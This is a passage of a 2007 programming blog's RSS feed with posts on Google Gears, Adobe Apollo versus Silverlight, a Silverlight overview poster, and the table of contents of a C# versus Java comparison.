also pointed that the lack of data synchronization in &lt;a href="http://code.google.com/apis/gears/"&gt;Google
Gears&lt;/a&gt; is a significant oversight. If Google intends for &lt;a href="http://code.google.com/apis/gears/"&gt;Google
Gears&lt;/a&gt; to become a platform that will be generally useful to the average Web developer
then the company will have to fix this oversight. Otherwise, they haven't done as
much for the Web development world as the initial hype led us to believe.&amp;nbsp; 
&lt;/p&gt;
&lt;script&gt;
digg_url = 'http://digg.com/programming/Google_Gears_the_Problem_of_Data_Synchronization';
&lt;/script&gt;
&lt;script src="http://digg.com/api/diggthis.js"&gt;&lt;/script&gt;&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=b1f1e3e3-dba2-4f7c-864d-9d1c797eccfd" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,b1f1e3e3-dba2-4f7c-864d-9d1c797eccfd.aspx</comments>
      <category>Programming</category>
      <category>Web Development</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=4c4b8000-81cc-4f87-bcb5-47d7fe3efbb1</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,4c4b8000-81cc-4f87-bcb5-47d7fe3efbb1.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,4c4b8000-81cc-4f87-bcb5-47d7fe3efbb1.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=4c4b8000-81cc-4f87-bcb5-47d7fe3efbb1</wfw:commentRss>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
Duncan Riley over at TechCrunch let's us know <a href="http://www.techcrunch.com/2007/05/25/digg-api-visualization-contest-delivers-apollo-powered-applications/">Digg
API Visualization Contest Delivers Apollo Powered Applications</a>, specifically
</p>
        <blockquote>
          <p>
            <i>The <a onclick="javascript:urchinTracker ('/outbound/digg.com');" href="http://digg.com/contest">Digg
API Visualization Contest</a> held to celebrate the launch of the Digg API is now
in its final stages with 10 shortlisted candidates.</i>
          </p>
          <p>
            <i>Four of the ten finalists are Abode Apollo based applications, remarkable for a
platform launched just over <a href="http://www.techcrunch.com/2007/03/18/adobe-apollo-launches-so-go-build-something/">2
months ago</a>.</i>
          </p>
        </blockquote>
        <p>
Agreed, it's pretty remarkable to see so many desktop applications in a Web mashup
contest. As John Dowdell warns in his post <a href="http://weblogs.macromedia.com/jd/archives/2007/05/apollo_aint_cas.cfm">Apollo
ain't casual</a> an Apollo application is a desktop app with all the security implications
that come with that. So it is definitely impressive and a little scary to see so many
people downloading random executables off of the Web and voting for them in what you'd
expect to be a Web-based mashup contest. 
</p>
        <p>
It's also somewhat interesting that all the apps seem to be written using some variation
of the Flash platform; <a href="http://labs.adobe.com/wiki/index.php/Apollo">Apollo</a>, <a href="http://www.adobe.com/products/flex/">Flex</a> or <a href="http://www.adobe.com/products/flashlite/">Flash
Lite</a>. <strike>I guess it just goes to show that for snazzy data visualization,
you really can't beat Flash today</strike>. On reading the contest rules it seems
it's sponsored by Adobe given that the prizes are primarily Adobe products and submissions
are required to be written in Flash. Too bad, it would have been interesting to see
some AJAX/DHTML or <a href="http://www.silverlight.net">Silverlight</a> visualizations
going up against the Flash apps.  
</p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=4c4b8000-81cc-4f87-bcb5-47d7fe3efbb1" />
      </body>
      <title>Apollo Makes Desktop Apps Cool Again</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,4c4b8000-81cc-4f87-bcb5-47d7fe3efbb1.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/05/25/ApolloMakesDesktopAppsCoolAgain.aspx</link>
      <pubDate>Fri, 25 May 2007 23:42:19 GMT</pubDate>
      <description>&lt;p&gt;
Duncan Riley over at TechCrunch let's us know &lt;a href="http://www.techcrunch.com/2007/05/25/digg-api-visualization-contest-delivers-apollo-powered-applications/"&gt;Digg
API Visualization Contest Delivers Apollo Powered Applications&lt;/a&gt;, specifically
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;i&gt;The &lt;a onclick="javascript:urchinTracker ('/outbound/digg.com');" href="http://digg.com/contest"&gt;Digg
API Visualization Contest&lt;/a&gt; held to celebrate the launch of the Digg API is now
in its final stages with 10 shortlisted candidates.&lt;/i&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;i&gt;Four of the ten finalists are Abode Apollo based applications, remarkable for a
platform launched just over &lt;a href="http://www.techcrunch.com/2007/03/18/adobe-apollo-launches-so-go-build-something/"&gt;2
months ago&lt;/a&gt;.&lt;/i&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
Agreed, it's pretty remarkable to see so many desktop applications in a Web mashup
contest. As John Dowdell warns in his post &lt;a href="http://weblogs.macromedia.com/jd/archives/2007/05/apollo_aint_cas.cfm"&gt;Apollo
ain't casual&lt;/a&gt; an Apollo application is a desktop app with all the security implications
that come with that. So it is definitely impressive and a little scary to see so many
people downloading random executables off of the Web and voting for them in what you'd
expect to be a Web-based mashup contest. 
&lt;/p&gt;
&lt;p&gt;
It's also somewhat interesting that all the apps seem to be written using some variation
of the Flash platform; &lt;a href="http://labs.adobe.com/wiki/index.php/Apollo"&gt;Apollo&lt;/a&gt;, &lt;a href="http://www.adobe.com/products/flex/"&gt;Flex&lt;/a&gt; or &lt;a href="http://www.adobe.com/products/flashlite/"&gt;Flash
Lite&lt;/a&gt;. &lt;strike&gt;I guess it just goes to show that for snazzy data visualization,
you really can't beat Flash today&lt;/strike&gt;. On reading the contest rules it seems
it's sponsored by Adobe given that the prizes are primarily Adobe products and submissions
are required to be written in Flash. Too bad, it would have been interesting to see
some AJAX/DHTML or &lt;a href="http://www.silverlight.net"&gt;Silverlight&lt;/a&gt; visualizations
going up against the Flash apps.&amp;nbsp; 
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=4c4b8000-81cc-4f87-bcb5-47d7fe3efbb1" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,4c4b8000-81cc-4f87-bcb5-47d7fe3efbb1.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=b78cfe57-3616-43a8-b551-7a4bf59016bd</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,b78cfe57-3616-43a8-b551-7a4bf59016bd.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,b78cfe57-3616-43a8-b551-7a4bf59016bd.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=b78cfe57-3616-43a8-b551-7a4bf59016bd</wfw:commentRss>
      <slash:comments>4</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
Pete Lacey has a blog post entitled <a href="http://wanderingbarque.com/nonintersecting/2007/05/19/rethinking-apollo/" title="Rethinking Apollo">Rethinking
Apollo</a> where he writes
</p>
        <blockquote>
          <p>
            <i>So I dug around in Apollo a little bit, and I did a little bit more thinking about
my reflexive dismissal of the technology. And I admit to misunderstanding and miscategorizing
Apollo. Here’s what I learned.</i>
          </p>
          <p>
            <i>Apollo is not a browser plugin, nor does it leverage or extend your browser in
any way. It runs completely outside the browser. It is a run-time environment for
building cross-platform desktop applications.</i>
            <br />
...<br /><i>Lets say you want to build a RSS/Atom reader...But lets add a requirement: my news
reader must be cross-platform. That eliminates .NET as a development platform, but
still leaves C++. However, with C++ I have to carefully separate my common functionality
from my OS-specific functionality and become more of an expert on OS and windowing
quirks then I would like, so that’s out. Fortunately, there’s quite a few other ways
to go:</i></p>
          <ol>
            <li>
              <i>Browser based </i>
            </li>
            <li>
              <i>Java based </i>
            </li>
            <li>
              <i>Dynamic language based: Perl, Python, Ruby, Tcl </i>
            </li>
            <li>
              <i>Native cross-platform development environment, e.g Qt </i>
            </li>
            <li>
              <i>Apollo </i>
            </li>
            <li>
              <i>Others, e.g. Eclipse RCP </i>
            </li>
          </ol>
          <p>
            <i>All of these have pros and cons. Browsers are limited in functionality, and quirky.
Java is a pain to develop towards-especially GUI apps, has spotty HTML rendering ability,
and a non-native look and feel. The dynamic languages are far from guaranteed to be
installed on any particular machine—especially Windows machines, and (likely) also
have their own look and feel issues. Qt still leaves me in C++ land; that is it’s
hard to develop towards. Apollo also has its own look and feel, and will require a
download of the runtime environment if it’s not already there (I’m ignoring its alpha
release state). I don’t care about any others cross-platform techniques right now.</i>
          </p>
        </blockquote>
        <p>
I think I've found interesting is how a lot of blogosphere pundits have been using <a href="http://www.silverlight.net">Microsoft's
Silverlight</a> and <a href="http://labs.adobe.com/wiki/index.php/Apollo">Adobe's
Apollo</a> in the same sentence as if they are similar products. I guess it's more
proof that the popular technology blog pundits don't do much research and in many
cases aren't technical enough to do the research anyway. 
</p>
        <p>
Although Pete does a good job of explaining the goals of <a href="http://labs.adobe.com/wiki/index.php/Apollo">Adobe
Apollo</a> with a great example, I think there is a simpler and more cynical way of
spelling out the difference between <a href="http://www.silverlight.net">Silverlight</a> and <a href="http://labs.adobe.com/wiki/index.php/Apollo">Apollo</a>.
I'd describe the projects as  
</p>
        <blockquote>
          <a href="http://labs.adobe.com/wiki/index.php/Apollo">Apollo</a> is Adobe's
Flash based <strike>knock off</strike> competitor to the .NET Framework while <a href="http://www.silverlight.net">Silverlight</a> is
Microsoft's .NET Framework based <strike>knock off</strike> competitor to the Flash
platform. </blockquote> A lot shorter and more to the point. :) 
<p><b>PS:</b> Shame on Pete for equating <i>dynamic languages</i> with the runtimes for
certain popular Open Source dynamic programming languages. The programming language
is not the platform and vice versa. After all, both <a href="http://www.jython.org/">Jython</a> and <a href="http://www.ironpython.com/">IronPython</a> are
instances of a dynamic programming language that don't have any of the problems he
listed as reasons to eliminate a dynamic programming language as a choice for building
a cross-platform desktop application. :).  
</p><img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=b78cfe57-3616-43a8-b551-7a4bf59016bd" /></body>
      <title>Understanding Adobe's Apollo</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,b78cfe57-3616-43a8-b551-7a4bf59016bd.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/05/22/UnderstandingAdobesApollo.aspx</link>
      <pubDate>Tue, 22 May 2007 01:44:53 GMT</pubDate>
      <description>&lt;p&gt;
Pete Lacey has a blog post entitled &lt;a href="http://wanderingbarque.com/nonintersecting/2007/05/19/rethinking-apollo/" title="Rethinking Apollo"&gt;Rethinking
Apollo&lt;/a&gt; where he writes
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;i&gt;So I dug around in Apollo a little bit, and I did a little bit more thinking about
my reflexive dismissal of the technology. And I admit to misunderstanding and miscategorizing
Apollo. Here’s what I learned.&lt;/i&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;i&gt;Apollo is not a browser plugin, nor does it leverage or extend your browser in
any way. It runs completely outside the browser. It is a run-time environment for
building cross-platform desktop applications.&lt;/i&gt;
&lt;br&gt;
...&lt;br&gt;
&lt;i&gt;Lets say you want to build a RSS/Atom reader...But lets add a requirement: my news
reader must be cross-platform. That eliminates .NET as a development platform, but
still leaves C++. However, with C++ I have to carefully separate my common functionality
from my OS-specific functionality and become more of an expert on OS and windowing
quirks then I would like, so that’s out. Fortunately, there’s quite a few other ways
to go:&lt;/i&gt; 
&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;i&gt;Browser based &lt;/i&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;i&gt;Java based &lt;/i&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;i&gt;Dynamic language based: Perl, Python, Ruby, Tcl &lt;/i&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;i&gt;Native cross-platform development environment, e.g Qt &lt;/i&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;i&gt;Apollo &lt;/i&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;i&gt;Others, e.g. Eclipse RCP &lt;/i&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;
&lt;i&gt;All of these have pros and cons. Browsers are limited in functionality, and quirky.
Java is a pain to develop towards-especially GUI apps, has spotty HTML rendering ability,
and a non-native look and feel. The dynamic languages are far from guaranteed to be
installed on any particular machine—especially Windows machines, and (likely) also
have their own look and feel issues. Qt still leaves me in C++ land; that is it’s
hard to develop towards. Apollo also has its own look and feel, and will require a
download of the runtime environment if it’s not already there (I’m ignoring its alpha
release state). I don’t care about any others cross-platform techniques right now.&lt;/i&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
I think I've found interesting is how a lot of blogosphere pundits have been using &lt;a href="http://www.silverlight.net"&gt;Microsoft's
Silverlight&lt;/a&gt; and &lt;a href="http://labs.adobe.com/wiki/index.php/Apollo"&gt;Adobe's
Apollo&lt;/a&gt; in the same sentence as if they are similar products. I guess it's more
proof that the popular technology blog pundits don't do much research and in many
cases aren't technical enough to do the research anyway. 
&lt;/p&gt;
&lt;p&gt;
Although Pete does a good job of explaining the goals of &lt;a href="http://labs.adobe.com/wiki/index.php/Apollo"&gt;Adobe
Apollo&lt;/a&gt; with a great example, I think there is a simpler and more cynical way of
spelling out the difference between &lt;a href="http://www.silverlight.net"&gt;Silverlight&lt;/a&gt; and &lt;a href="http://labs.adobe.com/wiki/index.php/Apollo"&gt;Apollo&lt;/a&gt;.
I'd describe the projects as&amp;nbsp; 
&lt;/p&gt;
&lt;blockquote&gt; &lt;a href="http://labs.adobe.com/wiki/index.php/Apollo"&gt;Apollo&lt;/a&gt; is Adobe's
Flash based &lt;strike&gt;knock off&lt;/strike&gt; competitor to the .NET Framework while &lt;a href="http://www.silverlight.net"&gt;Silverlight&lt;/a&gt; is
Microsoft's .NET Framework based &lt;strike&gt;knock off&lt;/strike&gt; competitor to the Flash
platform. &lt;/blockquote&gt; A lot shorter and more to the point. :) 
&lt;p&gt;
&lt;b&gt;PS:&lt;/b&gt; Shame on Pete for equating &lt;i&gt;dynamic languages&lt;/i&gt; with the runtimes for
certain popular Open Source dynamic programming languages. The programming language
is not the platform and vice versa. After all, both &lt;a href="http://www.jython.org/"&gt;Jython&lt;/a&gt; and &lt;a href="http://www.ironpython.com/"&gt;IronPython&lt;/a&gt; are
instances of a dynamic programming language that don't have any of the problems he
listed as reasons to eliminate a dynamic programming language as a choice for building
a cross-platform desktop application. :).&amp;nbsp; 
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=b78cfe57-3616-43a8-b551-7a4bf59016bd" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,b78cfe57-3616-43a8-b551-7a4bf59016bd.aspx</comments>
      <category>Programming</category>
      <category>Web Development</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=5f1f783c-8382-4f10-951b-aac194a696b8</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,5f1f783c-8382-4f10-951b-aac194a696b8.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,5f1f783c-8382-4f10-951b-aac194a696b8.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=5f1f783c-8382-4f10-951b-aac194a696b8</wfw:commentRss>
      <slash:comments>3</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
Have you been trying to distill the recent <a href="http://www.silverlight.net">Microsoft
Silverlight</a> announcement into actual concrete bits and pieces? Look no further
than this poster which not only lists the various supported browsers and operating
systems but also highlights which class libraries from the .NET Framework will make
up <a href="http://www.silverlight.net">Silverlight</a></p>
        <p>
          <a href="http://download.microsoft.com/download/f/2/e/f2ecc2ad-c498-4538-8a2c-15eb157c00a7/SL_Map_FinalNET.png">
            <img src="http://download.microsoft.com/download/f/2/e/f2ecc2ad-c498-4538-8a2c-15eb157c00a7/SL_Map_FinalNET.png" height="375" width="600" />
          </a>
        </p>
        <p>
          <b>PS:</b> Found this via Mark Pilgrim's <a href="http://diveintomark.org/archives/2007/05/02/silly-season">Silly
Season</a> post. As usual, excellent and insightful writing by Mark. 
</p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=5f1f783c-8382-4f10-951b-aac194a696b8" />
      </body>
      <title>What is Silverlight? (The Poster)</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,5f1f783c-8382-4f10-951b-aac194a696b8.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/05/03/WhatIsSilverlightThePoster.aspx</link>
      <pubDate>Thu, 03 May 2007 14:56:03 GMT</pubDate>
      <description>&lt;p&gt;
Have you been trying to distill the recent &lt;a href="http://www.silverlight.net"&gt;Microsoft
Silverlight&lt;/a&gt; announcement into actual concrete bits and pieces? Look no further
than this poster which not only lists the various supported browsers and operating
systems but also highlights which class libraries from the .NET Framework will make
up &lt;a href="http://www.silverlight.net"&gt;Silverlight&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;a href="http://download.microsoft.com/download/f/2/e/f2ecc2ad-c498-4538-8a2c-15eb157c00a7/SL_Map_FinalNET.png"&gt;&lt;img src="http://download.microsoft.com/download/f/2/e/f2ecc2ad-c498-4538-8a2c-15eb157c00a7/SL_Map_FinalNET.png" height="375" width="600"&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;PS:&lt;/b&gt; Found this via Mark Pilgrim's &lt;a href="http://diveintomark.org/archives/2007/05/02/silly-season"&gt;Silly
Season&lt;/a&gt; post. As usual, excellent and insightful writing by Mark. 
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=5f1f783c-8382-4f10-951b-aac194a696b8" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,5f1f783c-8382-4f10-951b-aac194a696b8.aspx</comments>
      <category>Programming</category>
      <category>Web Development</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=b6ffcd51-ced4-4540-9488-ac51f07dbc9a</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,b6ffcd51-ced4-4540-9488-ac51f07dbc9a.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,b6ffcd51-ced4-4540-9488-ac51f07dbc9a.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=b6ffcd51-ced4-4540-9488-ac51f07dbc9a</wfw:commentRss>
      <slash:comments>3</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
Almost six years ago I wrote an article entitled <a href="http://www.25hoursaday.com/CsharpVsJava.html">C#
from a Java Developer's Perspective</a> which is still one of the most popular
comparisons of C# and Java on the Web today. This update to my 2001 article comparing
the primary features of C# and Java is a few years later than I planned. Given the
amount of requests I've gotten to update it to account for the changes in Java 1.5 and
C# 2.0 I'm sure there are many out there who'll find it useful. Below is the table
of contents so you can jump to whatever topic interests you. 
</p>
        <p>
        </p>
        <ol>
          <li>
            <a href="http://www.25hoursaday.com/CsharpVsJava.html#same">The More Things Change
The More They Stay The Same</a>
            <br />
This section describes concepts and language features that are almost exactly the
same in C# and Java. 
<ol><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#object">We Are All Objects</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#keyword">Keyword Jumble</a><img src="http://docs.rage.net/howto/updated.gif" /></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#vmclr">Of Virtual Machines and
Language Runtimes</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#heap">Heap Based Classes and
Garbage Collection</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#jagged">Arrays Can Be Jagged</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#noglobal">No Global Methods</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#interfaceMI">Interfaces, Yes.
Multiple Inheritance, No.</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#strings">Strings Are Immutable</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#noextend">Unextendable Classes</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#exceptions">Throwing and Catching
Exceptions</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#staticconstructor">Member Initialization
at Definition and Static Constructors</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#boxing">Boxing</a><img src="http://www.25hoursaday.com/weblog/content/binary/new.gif" /><br /><br /></li></ol></li>
          <li>
            <a href="http://www.25hoursaday.com/CsharpVsJava.html#samediff">The Same But Different</a>
            <br />
This section describes concepts and language features that differ either only in syntax
or in some similarly minor manner between C# and Java. 
<ol><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#main">Main Method</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#inheritance">Inheritance Syntax</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#is">Run Time Type Identification
(is operator)</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#namespace">Namespaces</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#constructdestruct">Constructors,
Destructors and Finalizers</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#synchronization">Synchronizing
Methods and Code Blocks</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#access">Access Modifiers</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#reflection">Reflection</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#constants">Declaring Constants</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#primitives">Primitive Types</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#arraydecl">Array Declarations</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#baseconstructor">Calling Base
Class Constructors and Constructor Chaining</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#params">Variable Length Parameter
Lists</a><img src="http://www.25hoursaday.com/weblog/content/binary/new.gif" /></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#generics">Generics</a><img src="http://www.25hoursaday.com/weblog/content/binary/new.gif" /></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#foreach">for-each Loop</a><img src="http://www.25hoursaday.com/weblog/content/binary/new.gif" /></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#attributes">Metadata Annotations</a><img src="http://www.25hoursaday.com/weblog/content/binary/new.gif" /></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#enums">Enumerations</a><img src="http://www.25hoursaday.com/weblog/content/binary/new.gif" /><br /><br /></li></ol></li>
          <li>
            <a href="http://www.25hoursaday.com/CsharpVsJava.html#dejavu">An Ever So Slight Feeling
of Dèjà Vu</a>
            <br />
This section describes concepts and language features that exist in C# that are similar
to those that exist in Java but with a significant difference. 
<ol><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#nested">Nested classes</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#threads">Threads and Volatile
Members</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#operatoroverloading">Operator
Overloading</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#switch">switch Statement</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#assemblies">Assemblies</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#collections">Collections</a><img src="http://docs.rage.net/howto/updated.gif" /></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#goto">goto (no longer considered
harmful)</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#virtualfinal">Virtual Methods
(and final ones too)</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#fileio">File I/O</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#serialization">Object Serialization</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#docgen">Documentation Generation
from Source Code Comments</a><img src="http://docs.rage.net/howto/updated.gif" /></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#multipleclasses">Multiple Classes
in a Single File</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#importing">Importing Libraries</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#events">Events</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#interop">Cross Language Interoperability</a><br /><br /></li></ol></li>
          <li>
            <a href="http://www.25hoursaday.com/CsharpVsJava.html#different">Now For Something
Completely Different</a>
            <br />
This section describes language features and concepts that exist in C# and have no
Java counterpart. 
<ol><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#idisposable">Deterministic Object
Cleanup</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#delegates">Delegates</a><img src="http://docs.rage.net/howto/updated.gif" /></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#structs">Value Types (Structs)</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#as">Run Time Type Identification
(as operator)</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#properties">Properties</a><img src="http://docs.rage.net/howto/updated.gif" /></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#multiarrays">Multidimensional
Arrays</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#indexers">Indexers</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#preprocessor">Preprocessor Directives</a><img src="http://docs.rage.net/howto/updated.gif" /></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#aliases">Aliases</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#reflectionemit">Runtime Code
Generation</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#unsafe">Pointers and Unsafe
Code</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#passbyref">Pass by Reference</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#verbatim">Verbatim Strings</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#overflow">Overflow Detection</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#explicitinterface">Explicit
Interface Implementation</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#friends">Friend Assemblies</a><img src="http://www.25hoursaday.com/weblog/content/binary/new.gif" /></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#globalnamespace">The Namespace
Qualifier</a><img src="http://www.25hoursaday.com/weblog/content/binary/new.gif" /></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#iterators">Iterators (Continuations)</a><img src="http://www.25hoursaday.com/weblog/content/binary/new.gif" /></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#partial">Partial Types</a><img src="http://www.25hoursaday.com/weblog/content/binary/new.gif" /></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#staticclasses">Static Classes</a><img src="http://www.25hoursaday.com/weblog/content/binary/new.gif" /></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#nullable">Nullable Types</a><img src="http://www.25hoursaday.com/weblog/content/binary/new.gif" /></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#anonymousmethods">Anonymous
Methods</a><img src="http://www.25hoursaday.com/weblog/content/binary/new.gif" /><br /><br /></li></ol></li>
          <li>
            <a href="http://www.25hoursaday.com/CsharpVsJava.html#wishlist">Wish You Were Here</a>
            <br />
This section describes language features and concepts that exist in Java and have
no C# counterpart. 
<ol><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#checked">Checked Exceptions</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#wora">Cross Platform Portability
(Write Once, Run Anywhere)</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#extensions">Extensions</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#strictfp">strictfp</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#classloading">Dynamic Class
Loading</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#interfacefields">Interfaces
That Contain Fields</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#anoninnerclasses">Anonymous
Inner Classes</a></li><li><a href="http://www.25hoursaday.com/CsharpVsJava.html#staticimports">Static Imports</a><img src="http://www.25hoursaday.com/weblog/content/binary/new.gif" /><br /></li></ol></li>
          <li>
            <a href="http://www.25hoursaday.com/CsharpVsJava.html#conclusion2k1">Conclusion(2001)</a>
          </li>
          <li>
            <a href="http://www.25hoursaday.com/CsharpVsJava.html#conclusion2k7">Conclusion (2007)</a>
            <img src="http://www.25hoursaday.com/weblog/content/binary/new.gif" />
          </li>
          <li>
            <a href="http://www.25hoursaday.com/CsharpVsJava.html#resources">Resources</a>
          </li>
          <li>
            <a href="http://www.25hoursaday.com/CsharpVsJava.html#acknowledgements">Acknowledgements</a>
          </li>
        </ol>
